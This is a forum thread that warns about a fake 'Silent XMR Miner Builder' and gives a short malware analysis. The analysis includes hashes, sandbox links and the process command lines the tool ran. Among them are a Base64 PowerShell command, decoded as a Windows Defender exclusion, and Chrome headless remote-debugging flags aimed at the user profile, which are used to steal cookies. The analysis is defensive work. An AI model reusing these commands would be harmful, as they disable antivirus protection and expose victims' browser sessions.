Probably a malware, OP shared this tool then never came back, 100% suspicious.

I've removed the link because I'll analyze the tool, take a look here : https://hackforums.net/showthread.php?tid=6276795

ah okay gotcha! Thanks for taking care
From OP's post, he shared a tool to "create Silent Miner", through a "Builder" :

VT report : https://www.virustotal.com/gui/file/3319...9efeb736bc
MD5 hash : 9706c540dd26ade6bf85b4bbcb9f483a

When executed, the tool runs multiple PowerShell windows :

In the PowerShell windows, this is what have been ran :
Code
"%SAMPLEPATH%\Silent XMR Miner Builder.exe"
"%USERPROFILE%\AppData\Local\Temp\Silent XMR Miner Builder.exe"
"%USERPROFILE%\AppData\Local\Temp\build.exe"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAZgB1ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHUAdgBhACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGgAaQBrACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGcAaQBuACMAPgA="

Some command lines have been encoded with Base64, here is the decoded output :

Code
Add-MpPreference -ExclusionPath @($env:UserProfile, $env:SystemDrive) -Force

This command is used to add exclusions for Windows Defender, specifically excluding the user's profile directory and the system drive from scans.
The objective is to add the allow the following file to be ran :

Here is an explanation of the command options / arguments added to chrome.exe :
Code
"C:\Program Files\Google\Chrome\Application\chrome.exe" > Path to the Chrome executable. This launches Google Chrome.

--remote-debugging-port=9222 > Opens a remote debugging interface on port 9222. Used by developers and automation tools like Puppeteer or Selenium to interact with Chrome programmatically.

--headless=new > Runs Chrome in headless mode (no GUI, background execution). New refers to the latest headless implementation with better stability and feature parity with non-headless mode.

--user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" > Specifies a custom user data directory. This allows Chrome to use a specific profile (bookmarks, cookies, sessions) rather than the default.

--disable-gpu > Disables hardware GPU acceleration. Useful in headless mode since GPU rendering is not needed.

--disable-logging > Disables logging to reduce output in the console. Prevents unnecessary debug information from being displayed.

Also done on Edge :

The following command has been executed too :

Probably to retrieve information on the SSID name and then use it in addition to https://wigle.net/ to get information on the location of the victim (maybe to blackmail / dox).

Here is the correlated report, from TRIA.GE : https://tria.ge/250203-w4hz6s1kbj/behavioral1

It seems that the tool is identified as a stealer from Stealerium, a tool we have previously disccused about before because it is backdoored : https://hackforums.net/showthread.php?tid=6286517
